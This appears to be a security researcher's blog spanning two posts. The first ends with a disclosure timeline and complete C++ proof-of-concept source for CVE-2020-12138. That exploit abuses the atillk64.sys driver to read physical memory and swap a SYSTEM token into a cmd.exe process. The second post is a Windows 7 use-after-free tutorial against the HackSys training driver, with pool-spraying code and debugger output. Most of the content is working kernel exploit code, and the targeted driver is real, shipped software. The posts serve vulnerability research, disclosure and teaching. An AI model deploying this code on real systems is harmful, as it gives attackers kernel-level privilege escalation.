        INT64 start_address = proc_data.proc_address[i];

        INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };

        DWORD bytes_returned = 0;

        if (DeviceIoControl(
            device_handle,
            IOCTL,
            &input_buff,
            sizeof(input_buff),
            output_buff,
            sizeof(output_buff),
            &bytes_returned,
            NULL))
        {
            // Pointer to the beginning of our process space with the mapped
            // 0x1000 bytes of physmem
            INT64 mapped_address = *(PINT64)output_buff;

            // mapped_address is mapping from our page entry where, on that
            // page, exists a "Proc" tag. Therefore, we need both the header
            // size and the offset from the page entry to the "Proc" tag so
            // we can calculate the static offsets/values of the EPROCESS
            // memebers ImageFileName, Token, UniqueProcessId...
            INT64 imagename_address = mapped_address +
                proc_data.header_size[i] + proc_data.page_entry_offset[i]
                + 0x450; //ImageFileName
            INT64 imagename_value = *(PINT64)imagename_address;

            INT64 proc_token_addr = mapped_address +
                proc_data.header_size[i] + proc_data.page_entry_offset[i] 
                + 0x360; //Token
            INT64 proc_token = *(PINT64)proc_token_addr;

            INT64 pid_addr = mapped_address +
                proc_data.header_size[i] + proc_data.page_entry_offset[i] 
                + 0x2e8; //UniqueProcessId
            INT64 pid_value = *(PINT64)pid_addr;

            // See if the ImageFileName 64 bit hex value is in our vector of
            // common SYSTEM processes
            int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
                imagename_value);
            if (sys_result != 0 and SYSTEM_found == false)
            {
                SYSTEM_token = proc_token;
                cout << "[>] SYSTEM process found!\n";
                cout << "    - ImageFileName value: "
                    << (char*)imagename_address << "\n";
                cout << "    - Token value: " << hex << proc_token << "\n";
                cout << "    - Token address: " << hex << proc_token_addr
                    << "\n";
                cout << "    - UniqueProcessId: " << dec << pid_value << "\n\n";
                SYSTEM_found = true;
            }
            else if (imagename_value == 0x6568737265776f70 or
                imagename_value == 0x6578652e646d63)  // powershell or cmd
            {
                cmd_token_addr = proc_token_addr;
                cout << "[>] cmd.exe process found!\n";
                cout << "    - ImageFileName value: "
                    << (char*)imagename_address << "\n";
                cout << "    - Token value: " << hex << proc_token << "\n";
                cout << "    - Token address: " << hex << proc_token_addr
                    << "\n";
                cout << "    - UniqueProcessId: " << dec << pid_value << "\n\n";
            }
        }
        else
        {
            //DeviceIoControl failed
        }
    }
    if ((!cmd_token_addr) or (!SYSTEM_token))
    {
        cout << "[!] Token swapping requirements not met.\n";
        cout << "[!] Last physical address scanned: " << hex <<
            proc_data.proc_address.back() << ".\n";
        cout << "[!] Better luck next time!\n";
        exit(1);
    }
    else
    {
        *(PINT64)cmd_token_addr = SYSTEM_token;
        cout << "[>] SYSTEM and cmd.exe token info found, swapping tokens...\n";
        exit(0);
    }
}

As you can see, if we don’t find both a SYSTEM process and our cmd.exe process, the program exits without doing anything. This wasn’t often the case whenever the test machine was left running for at least 2-3 minutes after booting.

Searching for 100 process allocations in the pool is somewhat aggressive. The program will exit if it doesn’t find this many before bumping into the hard cap. Keep in mind that it doesn’t start parsing for the EPROCESS data until it has collected 100 “Proc” tag locations. This could mean that the program exits having already identified the relevant process chunks needed to elevate privileges.

This number can be toned down and the exploit could be trivially tweaked to search very small sections of physical memory at a time before exiting, annotating along the way and printing any valuable EPROCESS structure information to the terminal as it progresses. It could for instance be tweaked to search n amount of physical memory, output the location and token values of any privileged process or the cmd.exe process, and then exit while specifying the last memory address that it mapped. You could then start the exploit up again but this time specify the new last memory address mapped and map n from there and repeat until you had everything you needed.

The hardest part was finding the cmd.exe process. Likely-to-be-SYSTEM processes were easy to find. If you have a remote-desktop/GUI equivalent access to the host machine, you could open a few cmd.exe processes and greatly improve your odds of finding one to overwrite and elevate privileges.

Even with just one cmd.exe process, I was able to find and overwrite my token roughly 90% of the time. With more than one, it was 100% in my testing.

There are some improvements that can be made to the exploit no doubt, but as is, it works really well in my testing and can be tweaked fairly easily. I believe it sufficiently proves the vulnerability.

Mandatory screenshot:

Huge Thanks

Huge thanks to @FuzzySecurity for all of the tutorials, I’ve recently also finished up his HEVD exploit tutorials and have learned a ton from his blog. Just an awesome resource.

Thanks to @HackSysTeam for the HackSysExtremeVulnerable driver, it has been such a great learning resource and got me started down this path.

Thanks to both @ihack4falafel and @ilove2pwn_ for answering all of my questions along the way or helping me find the answers myself. Very grateful.

Thanks to @TheColonial for his advice about disclosure and his awesome CAPCOM.SYS YouTube video series. I learned a lot of nice WinDBG tricks from this.

Thanks again to @jessemichael for being so helpful and charitable.

Thanks to Jackson T. for not only his blog post but for answering all my questions and being extremely helpful, really appreciate it.

And finally thanks to all those cited blog authors @rwfpl and @hatRiot.

All testing performed on Build 18362.19h1_release.190318-1202.

Please, let me know if you find any errors.

Disclosure Timeline

  • February 25th 2020 – Email, Customer Service Ticket, and Twitter DM sent to GIGABYTE USA
  • February 26th 2020 – Email to AMD [email protected] notification of vulnerability found and PoC created
  • February 26th 2020 – Response from psirt to send PoC
  • February 26th 2020 – PoC sent to psirt
  • March 7th 2020 – Ask for update from psirt, no update given
  • March 16th 2020 – Ask for update from psirt
  • March 16th 2020 – psirt responds that the issue has been previously reported and that they don’t support the product as a result
  • March 16th 2020 – I inform psirt that other parties are still packaging and installing the driver and there is no advisory for the driver
  • March 24th 2020 – psirt states that support for the driver ended in late 2019 and to contact GIGABYTE directly
  • April 14th 2020 – No response from GIGABYTE USA, request CVE
  • April 24th 2020 – Assigned CVE-2020-12138, blog posted

Exploit Code

// CVE-2020-12138
// EOP Exploit POC for atillk64.sys by @h0mbre_
// C:\Program Files (x86)\GIGABYTE\RGBFusion\AtiTool\atillk64.sys
// Driver vulnerability referenced in: 
// https://github.com/eclypsium/Screwed-Drivers
// https://eclypsium.com/2019/08/10/screwed-drivers-signed-sealed-delivered/

#include <iostream>
#include <vector>
#include <algorithm>
#include <Windows.h>
#include "h0mbre.h"
using namespace std;

#define DEVICE_NAME         "\\\\.\\atillk64"
#define IOCTL               0x9C402564
#define START_ADDRESS       (INT64)0x200000000   // based off testing my VM
#define MAX_ADDRESS         (INT64)0x240000000   // based off testing my VM

// Creating vector of hex representation of ImageFileNames of common 
// SYSTEM processes, eg. 'wmlms.exe' = hex('exe.smlw')
vector<INT64> SYSTEM_procs = {
    0x78652e7373727363,         // csrss.exe
    0x78652e737361736c,         // lsass.exe
    0x6578652e73736d73,         // smss.exe
    0x7365636976726573,         // services.exe
    0x6b6f72426d726753,         // SgrmBroker.exe
    0x2e76736c6f6f7073,         // spoolsv.exe
    0x6e6f676f6c6e6977,         // winlogon.exe
    0x2e74696e696e6977,         // wininit.exe
    0x6578652e736d6c77,         // wlms.exe
};

// Creating struct for our input buffer to DeviceIoControl
typedef struct {
    INT64 start_address;
    DWORDLONG num_of_bytes;
    DWORDLONG padding;
} INPUT_BUFFER;

// This struct will hold the address of a "Proc" tag and that Proc chunk's 
// header size
struct PROC_DATA {
    std::vector<INT64> proc_address;
    std::vector<INT64> page_entry_offset;
    std::vector<INT64> header_size;
};

// Grabs handle to atillk64.sys
HANDLE get_handle(const char* device_name) {
    HANDLE hFile = CreateFileA(
        device_name,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        cout << "[!] Unable to grab handle to atillk64.sys.\n";
        exit(1);
    }
    else
    {
        string hex_output = pretty_hex((int)hFile);
        cout << "[>] Successfully grabbed handle to atillk64.sys: "
            << hex_output << "\n";

        return hFile;
    }
}

// Mapping memory from a physical address to our process virtual space
PROC_DATA map_memory(HANDLE device_handle) {

    LPVOID output_buff = VirtualAlloc(
        NULL,
        0x8,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    string hex_output = pretty_hex((int)output_buff);
    cout << "[>] Output buffer allocated at: " << hex_output << ".\n";

    DWORD bytes_returned = 0;

    PROC_DATA proc_data;

    // failures == unsucessful DeviceIoControl calls
    int failures = 0;

    // How many legitamate "Proc" chunks we've found in memory as in
    // we've confirmed they have headers.
    int proc_count = 0;
    int iteration = 0;
    cout << "[>] Going fishing for 100 \"Proc\" chunks in RAM...\n\n";
    while (proc_count < 100)
    {
        DWORDLONG num_of_bytes = 0x1000;
        DWORDLONG padding = 0x4141414141414141;
        INT64 start_address = START_ADDRESS + (0x1000 * iteration);

        INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };

        if (input_buff.start_address > MAX_ADDRESS)
        {
            cout << "[!] Max address reached!\n";
            cout << "[!] Iterations: " << dec << iteration << "\n";
            exit(1);
        }
        if (DeviceIoControl(
            device_handle,
            IOCTL,
            &input_buff,
            sizeof(input_buff),
            output_buff,
            sizeof(output_buff),
            &bytes_returned,
            NULL))
        {
            // The virtual address in our process space where RAM was mapped
            // is located in the first 8 bytes of our output_buff.
            INT64 mapped_address = *(PINT64)output_buff;

            // We will read a 32 bit value at offset i + 0x100 at some point
            // when looking for 0x00B80003, so we can't iterate any further
            // than offset 0xF00 here or we'll get an access violation.
            for (INT64 i = 0; i < (0xF10); i = i + 0x10)
            {
                INT64 test_address = mapped_address + i;
                INT32 test_value = *(PINT32)(test_address + 0x4);
                if (test_value == 0x636f7250)   // "Proc"
                {
                    for (INT64 x = 0; x < (0x100); x = x + 0x10)
                    {
                        INT64 header_address = test_address + x;
                        INT32 header_value = *(PINT32)header_address;
                        if (header_value == 0x00B80003) //  "Header" ending
                        {
                            // We found a "header", this is a legit "Proc"
                            proc_count++;

                            // This is the literal physical mem addr for the
                            // "Proc" pool tag
                            INT64 temp_addr = input_buff.start_address + i;

                            // This address might not be page-aligned to 0x1000
                            // so find out how far off from a multiple of 
                            // 0x1000 we are. This value is stored in our 
                            // PROC_DATA struct in the page_entry_offset
                            // member.
                            INT64 modulus = temp_addr % 0x1000;
                            proc_data.page_entry_offset.push_back(modulus);

                            // This is the page-aligned address where, either
                            // small or large paged memory will hold our "Proc"
                            // chunk. We store this as our proc_address member
                            // in PROC_DATA.
                            INT64 page_address = temp_addr - modulus;
                            proc_data.proc_address.push_back(
                                page_address);
                            proc_data.header_size.push_back(x);
                        }
                    }
                }
            }
            iteration++;
        }
        else
        {
            // DeviceIoControl failed
            iteration++;
            failures++;
        }
    }
    cout << "[>] \"Proc\" chunks found\n";
    cout << "    - Failed DeviceIoControl calls: " << dec << failures << "\n";
    cout << "    - Total DeviceIoControl calls: " << dec << iteration << "\n\n";

    // Returns struct of two vectors, one holds Proc chunk address
    // one holds header-size for that Proc chunk.
    return proc_data;
}

void parse_procs(HANDLE device_handle, struct PROC_DATA proc_data) {

    INT64 SYSTEM_token = 0;
    INT64 cmd_token_addr = 0;
    bool SYSTEM_found = false;

    LPVOID output_buff = VirtualAlloc(
        NULL,
        0x8,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    for (int i = 0; i < proc_data.proc_address.size(); i++)
    {
        // We need to map 0x1000 bytes from our "Proc" tag so that we can parse
        // out all the EPROCESS members we're interested in. The deepest member
        // is ImageFileName at offset 0x450 from the end of the header. Header
        // sizes varied from 0x20 to 0x90 in my testing. start_address will be
        // the address of the beginning of each 0x1000 aligned address closest
        // to the "Proc" tag we found.
        DWORDLONG num_of_bytes = 0x1000;
        DWORDLONG padding = 0x4141414141414141;
        INT64 start_address = proc_data.proc_address[i];

        INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };

        DWORD bytes_returned = 0;

        if (DeviceIoControl(
            device_handle,
            IOCTL,
            &input_buff,
            sizeof(input_buff),
            output_buff,
            sizeof(output_buff),
            &bytes_returned,
            NULL))
        {
            // Pointer to the beginning of our process space with the mapped
            // 0x1000 bytes of physmem
            INT64 mapped_address = *(PINT64)output_buff;

            // mapped_address is mapping from our page entry where, on that
            // page, exists a "Proc" tag. Therefore, we need both the header
            // size and the offset from the page entry to the "Proc" tag so
            // we can calculate the static offsets/values of the EPROCESS
            // memebers ImageFileName, Token, UniqueProcessId...
            INT64 imagename_address = mapped_address +
                proc_data.header_size[i] + proc_data.page_entry_offset[i]
                + 0x450; //ImageFileName
            INT64 imagename_value = *(PINT64)imagename_address;

            INT64 proc_token_addr = mapped_address +
                proc_data.header_size[i] + proc_data.page_entry_offset[i]
                + 0x360; //Token
            INT64 proc_token = *(PINT64)proc_token_addr;

            INT64 pid_addr = mapped_address +
                proc_data.header_size[i] + proc_data.page_entry_offset[i]
                + 0x2e8; //UniqueProcessId
            INT64 pid_value = *(PINT64)pid_addr;

            // See if the ImageFileName 64 bit hex value is in our vector of
            // common SYSTEM processes
            int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
                imagename_value);
            if (sys_result != 0 and SYSTEM_found == false)
            {
                SYSTEM_token = proc_token;
                cout << "[>] SYSTEM process found!\n";
                cout << "    - ImageFileName value: "
                    << (char*)imagename_address << "\n";
                cout << "    - Token value: " << hex << proc_token << "\n";
                cout << "    - Token address: " << hex << proc_token_addr
                    << "\n";
                cout << "    - UniqueProcessId: " << dec << pid_value << "\n\n";
                SYSTEM_found = true;
            }
            else if (imagename_value == 0x6568737265776f70 or
                imagename_value == 0x6578652e646d63)  // powershell or cmd
            {
                cmd_token_addr = proc_token_addr;
                cout << "[>] cmd.exe process found!\n";
                cout << "    - ImageFileName value: "
                    << (char*)imagename_address << "\n";
                cout << "    - Token value: " << hex << proc_token << "\n";
                cout << "    - Token address: " << hex << proc_token_addr
                    << "\n";
                cout << "    - UniqueProcessId: " << dec << pid_value << "\n\n";
            }
        }
        else
        {
            //DeviceIoControl failed
        }
    }
    if ((!cmd_token_addr) or (!SYSTEM_token))
    {
        cout << "[!] Token swapping requirements not met.\n";
        cout << "[!] Last physical address scanned: " << hex <<
            proc_data.proc_address.back() << ".\n";
        cout << "[!] Better luck next time!\n";
        exit(1);
    }
    else
    {
        *(PINT64)cmd_token_addr = SYSTEM_token;
        cout << "[>] SYSTEM and cmd.exe token info found, swapping tokens...\n";
        exit(0);
    }
}

void ascii() {

    cout << "\n\n\t     CVE-2020-12138 Proof-of-Concept\n";
    cout << "\t   EOP in ATI Technologies atillk64.sys\n\n";
    cout << "\t\t\t       by @h0mbre_\n\n\n";
}

int main() {

    ascii();

    // Grab handle to our device driver atillk64.sys
    HANDLE hFile = get_handle(DEVICE_NAME);

    // Return a pointer to our output buffer
    PROC_DATA proc_data = map_memory(hFile);

    // Look through our PROC_DATA struct for the values we need, ie EPROCESS
    // members for the processes we're interested in
    parse_procs(hFile, proc_data);
}

HEVD Exploits – Windows 7 x86 Use-After-Free

23 April 2020 at 04:00
By: h0mbre

Introduction

Continuing on with my goal to develop exploits for the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.

This series will be light on tangential information such as:

  • how drivers work, the different types, communication between userland, the kernel, and drivers, etc
  • how to install HEVD,
  • how to set up a lab environment
  • shellcode analysis

The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)

This post/series will instead focus on my experience trying to craft the actual exploits.

Thanks

UAF Setup

I’ve never exploited a use-after-free bug on any system before. I vaguely understood the concept before starting this excercise. We need what, in my noob opinion, seems like quite a lot of primitives in order to make this work. Obviously HEVD goes out of its way to be vulnerable in precisely the correct way for us to get an exploit working which is perfect for me since I have no experience with this bug class and we’re just here to learn. I feel like although we have to utilize multiple functions via IOCTL, this is actually a more simple exploit to pull off than the pool overflow that we just did.

Also, I wanted to do this on 64 bit; however, most of the strategies I saw outlined required that we use NtQuerySystemInformation, which as far as I know requires your process to be elevated to an extent so I wanted to avoid that. On 64 bit, the pool header structure size changes from 0x8 bytes to 0x10 bytes which makes exploitation more cumbersome; however, there are some good walkthroughs out there about how to accomplish this. For now, let’s stick to x86.

What do we need in order to exploit a use-after-free bug? Well, it seems like after doing this excercise we need to be able to do the following:

  • allocate an object in the non-paged pool,
  • a mechansim that creates a reference to the object as a global variable, ie if our object is allocated at 0xFFFFFFFF, there is some variable out there in the program that is storing that address for later use,
  • the ability to free the memory and not have the previously established reference NULLed out, ie when the chunk is freed the program author doesn’t specify that the reference=NULL,
  • the ability to create “fake” objects that have the same size and controllable contents in the non-paged pool,
  • the ability to spray the non-paged pool and create perfectly sized holes so that our UAF and fake objects can be fitted in our created holes,
  • finally, the ability to use the no-longer valid reference to our freed chunk.

Allocating the UAF Object in the Pool

Let’s take a look at the UAF object allocation routine in the driver in IDA.

It may not be immediately clear what’s going on without stepping through the routine in the debugger but we actually have very little control over what is taking place here. I’ve created a small skeleton exploit code and set a breakpoint towards the start of the routine. Here is our code at the moment:

#include <iostream>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME             "\\\\.\\HackSysExtremeVulnerableDriver"
#define ALLOCATE_UAF_IOCTL      0x222013
#define FREE_UAF_IOCTL          0x22201B
#define FAKE_OBJECT_IOCTL       0x22201F
#define USE_UAF_IOCTL           0x222017

HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
        << hFile << "\n";

    return hFile;
}

void create_UAF_object(HANDLE hFile) {

    BYTE input_buffer[] = "\x00";

    DWORD bytes_ret = 0x0;

    int result = DeviceIoControl(hFile,
        ALLOCATE_UAF_IOCTL,
        input_buffer,
        sizeof(input_buffer),
        NULL,
        0,
        &bytes_ret,
        NULL);
}


int main() {

    HANDLE hFile = grab_handle();

    create_UAF_object(hFile);

    return 0;
}

You can see from the IDA screenshot that after the call to ExAllocatePoolWithTag, eax is placed in esi, this is about where I’ve placed the breakpoint, we can then take the value in esi which should be a pointer to our allocation, and go see what the allocation will look like after the subsequent memset operation completes. We can see some static values as well, such as waht appears to be the size of the allocation (0x58), which we know from our last post is actually undersold by 0x8 since we have to account also for the pool header, so our real allocation size in the pool is 0x60 bytes.

So we hit our breakpoint after ExAllocatePoolWithTag and then I just stepped through until the memset completed.

Right after the memset completed, we look up our object in the pool and see that it’s mostly been filled with A characters except for the first DWORD value has been left NULL. After stepping through the next two instructions:

We can see that the DWORD value has been filled and also that a null terminator has been added to the last byte of our allocation. This DWORD is the UaFObjectCallback which is a function pointer for a callback which gets used during a separate routine.

And lastly in the screenshot we can see that move esi, which is the location of our allocation, into the global variable g_UseAfterFreeObject. This is important because this is what makes this code vulnerable as this same variable will not be nulled out when the object is freed.

Freeing the UAF Object

Now, lets try interacting with the driver routine which allows us to free our object.

Not a whole lot here, we can see though that there is no effort made to NULL the global variable g_UserAfterFreeObject. You can see that even after we run the routine, the vairable still holds the value of our freed allocation address:

Allocating a Fake Object

Now let’s see how much freedom we have to allocate arbitrary objects in the non-paged pool. Looking at the function, it uses the same APIs we’re familiar with, does a probe for read to make sure the buffer is in user land (I think?), and then builds our chunk to our specifications.

I just sent a buffer of size 0x58 with all A characters for testing. It even appends a null-terminator to the end like the real UAF object allocator, but we control the contents of this one. This is good since we’ll have full control over the pointer value at prepended to the chunk that serves as the call back function pointer.

Executing UAF Object Callback

This is where the “use” portion of “Use-After-Free” comes in. There is a driver routine that allows us to take the address which holds the callback function pointer of the UAF object and then call the function there. We can see this in IDA.

We can see that as long as the value at [eax], which holds the address of our UAF object (or what used to be our UAF object before we freed it) is not NULL, we’ll go ahead and call the function pointer stored at that location (the callback function). Right now, if we called this, what would happen? Let’s see!

Looking up the memory address of what was our freed chunk we see that it is NOT NULL. We would actually call something, but the address that would be called is 0x852c22f0. Looking at that address, we see that there is just arbitrary code there.

This is not what we want. We want this to be predictable just like our last exploit. We want the freed address of our UAF object to be filled with our fake object, so when the function pointer at that address is called, it will be a pointer we control, our shellcode. To do this, our plan of attack is very similar to our last post. Please go through that exploit first!

Spraying the Non-Paged Pool

First thing is first, we need an object that fits our needs. Last post we used Event Objects, but this time around, since we need 0x60 sized chunks, we’ll be using IoCompletionReserve objects which we can allocate with NtAllocateReserveObject (thanks blogpost authors).

We’ll do the same thing we did last time but spray some more. In my testing I found that I had to spray more to get the chunks sequential like we want:

  • defragment the pool with 10,000 objects
  • aim for some sequential/contiguous blocks of objects with another spray of 30,000 objects.

Next, we’ll want to poke holes in the contiguous block portion, remember? We’ll be collecting handles to these objects in vectors so that we can later free the ones we need to create the holes. The holes are already the perfect size, so we’ll just free every other contiguous block handle so that way, every hole that is created in our contiguous block will be surrounded on both sides by our objects. Let’s update our exploit code and test out the spray. Huge thanks to @tekwizz123 once again for showing in his exploit how to get NtAllocateReserveObject into the program, would’ve taken me a long time to trouble shoot those compilation errors without his help. Our spray test code:

#include <iostream>
#include <vector>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME             "\\\\.\\HackSysExtremeVulnerableDriver"
#define ALLOCATE_UAF_IOCTL      0x222013
#define FREE_UAF_IOCTL          0x22201B
#define FAKE_OBJECT_IOCTL       0x22201F
#define USE_UAF_IOCTL           0x222017

vector<HANDLE> defrag_handles;
vector<HANDLE> sequential_handles;

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING* ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*

typedef NTSTATUS(WINAPI* _NtAllocateReserveObject)(
    OUT PHANDLE hObject,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN DWORD ObjectType);

HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
        << hFile << "\n";

    return hFile;
}

void create_UAF_object(HANDLE hFile) {

    cout << "[>] Creating UAF object...\n";
    BYTE input_buffer[] = "\x00";

    DWORD bytes_ret = 0x0;

    int result = DeviceIoControl(hFile,
        ALLOCATE_UAF_IOCTL,
        input_buffer,
        sizeof(input_buffer),
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] Could not create UAF object\n";
        cout << "[!] Last error: " << dec << GetLastError() << "\n";
        exit(1);
    }
    cout << "[>] UAF object allocated.\n";
}

void free_UAF_object(HANDLE hFile) {

    cout << "[>] Freeing UAF object...\n";
    BYTE input_buffer[] = "\x00";

    DWORD bytes_ret = 0x0;

    int result = DeviceIoControl(hFile,
        FREE_UAF_IOCTL,
        input_buffer,
        sizeof(input_buffer),
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] Could not free UAF object\n";
        cout << "[!] Last error: " << dec << GetLastError() << "\n";
        exit(1);
    }
    cout << "[>] UAF object freed.\n";
}

void allocate_fake_object(HANDLE hFile) {

    cout << "[>] Creating fake UAF object...\n";
    BYTE input_buffer[0x58] = { 0 };

    memset((void*)input_buffer, '\x41', 0x58);

    DWORD bytes_ret = 0x0;

    int result = DeviceIoControl(hFile,
        FAKE_OBJECT_IOCTL,
        input_buffer,
        sizeof(input_buffer),
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] Could not create fake UAF object\n";
        cout << "[!] Last error: " << dec << GetLastError() << "\n";
        exit(1);
    }
    cout << "[>] Fake UAF object created.\n";
}

void spray() {

    // thanks Tekwizz as usual
    _NtAllocateReserveObject NtAllocateReserveObject = 
        (_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtAllocateReserveObject");

    if (!NtAllocateReserveObject) {

        cout << "[!] Failed to get the address of NtAllocateReserve.\n";
        cout << "[!] Last error " << GetLastError() << "\n";
        exit(1);
    }

    cout << "[>] Spraying pool to defragment...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE hObject = 0x0;

        PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&hObject,
            NULL,
            1); // specifies the correct object

        if (result != 0) {
            cout << "[!] Error allocating IoCo Object during defragmentation\n";
            exit(1);
        }
        defrag_handles.push_back(hObject);
    }
    cout << "[>] Defragmentation spray complete.\n";
    cout << "[>] Spraying sequential allocations...\n";
    for (int i = 0; i < 30000; i++) {

        HANDLE hObject = 0x0;

        PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&hObject,
            NULL,
            1); // specifies the correct object

        if (result != 0) {
            cout << "[!] Error allocating IoCo Object during defragmentation\n";
            exit(1);
        }
        sequential_handles.push_back(hObject);
    }

    cout << "[>] Sequential spray complete.\n";

    cout << "[>] Poking 0x60 byte-sized holes in our sequential allocation...\n";
    for (int i = 0; i < sequential_handles.size(); i++) {
        if (i % 2 == 0) {
            BOOL freed = CloseHandle(sequential_handles[i]);
        }
    }
    cout << "[>] Holes poked lol.\n";
    cout << "[>] Some handles: " << hex << sequential_handles[29997] << "\n";
    cout << "[>] Some handles: " << hex << sequential_handles[29998] << "\n";
    cout << "[>] Some handles: " << hex << sequential_handles[29999] << "\n";

    Sleep(1000);
    DebugBreak();
}

int main() {

    HANDLE hFile = grab_handle();

    //create_UAF_object(hFile);

    //free_UAF_object(hFile);

    //allocate_fake_object(hFile);

    spray();

    return 0;
}

We can see after running this and looking at one of the handles we dumped to the terminal (thanks FuzzySec!), we were able to get our pool looking the way we want. 0x60 byte chunks free surrounded by our IoCo objects.

kd> !handle 0x2724c

PROCESS 86974250  SessionId: 1  Cid: 1238    Peb: 7ffdf000  ParentCid: 1554
    DirBase: bf5d4fc0  ObjectTable: abb08b80  HandleCount: 25007.
    Image: HEVDUAF.exe

Handle table at 89f1f000 with 25007 entries in use

2724c: Object: 8543b6d0  GrantedAccess: 000f0003 Entry: 88415498
Object: 8543b6d0  Type: (84ff1a88) IoCompletionReserve
    ObjectHeader: 8543b6b8 (new version)
        HandleCount: 1  PointerCount: 1


kd> !pool 8543b6d0 
Pool page 8543b6d0 region is Nonpaged pool
 8543b000 size:   60 previous size:    0  (Allocated)  IoCo (Protected)
 8543b060 size:   38 previous size:   60  (Free)       `.C.
 8543b098 size:   20 previous size:   38  (Allocated)  ReTa
 8543b0b8 size:   28 previous size:   20  (Allocated)  FSro
 8543b0e0 size:  500 previous size:   28  (Free)       Io  
 8543b5e0 size:   60 previous size:  500  (Allocated)  IoCo (Protected)
 8543b640 size:   60 previous size:   60  (Free)       IoCo
*8543b6a0 size:   60 previous size:   60  (Allocated) *IoCo (Protected)
		Owning component : Unknown (update pooltag.txt)
 8543b700 size:   60 previous size:   60  (Free)       IoCo
 8543b760 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543b7c0 size:   60 previous size:   60  (Free)       IoCo
 8543b820 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543b880 size:   60 previous size:   60  (Free)       IoCo
 8543b8e0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543b940 size:   60 previous size:   60  (Free)       IoCo
 8543b9a0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543ba00 size:   60 previous size:   60  (Free)       IoCo
 8543ba60 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543bac0 size:   60 previous size:   60  (Free)       IoCo
 8543bb20 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543bb80 size:   60 previous size:   60  (Free)       IoCo
 8543bbe0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543bc40 size:   60 previous size:   60  (Free)       IoCo
 8543bca0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543bd00 size:   60 previous size:   60  (Free)       IoCo
 8543bd60 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543bdc0 size:   60 previous size:   60  (Free)       IoCo
 8543be20 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543be80 size:   60 previous size:   60  (Free)       IoCo
 8543bee0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 8543bf40 size:   60 previous size:   60  (Free)       IoCo
 8543bfa0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)

Executing Plan

Now that we’ve confirmed our heap spray works, the next step is to implement our game-plan. We want to:

  • spray the heap to get it like so ^^,
  • allocate our UAF object,
  • free our UAF object,
  • create our fake objects with malicious callback function pointers,
  • activate the callback function.

All we really need to do now is allocate the shellcode, get a pointer to it, and place that pointer into our input buffer when we create our fake objects and spray those into the holes we poked so around 15,000 of them.

When we run our final code, we get our system shell!

Complete exploit code.

Conclusion

That was a pretty exaggerated exploit scenario I would guess, but it was perfect for me since I had never done a UAF exploit before. Next we’ll be doing the stack overflow again but this time on Windows 10 where we’ll have to bypass SMEP. Until next time.

Once again, big thanks to all the content producers out there for getting me through these exploits.

HEVD Exploits – Windows 7 x86 Non-Paged Pool Overflow

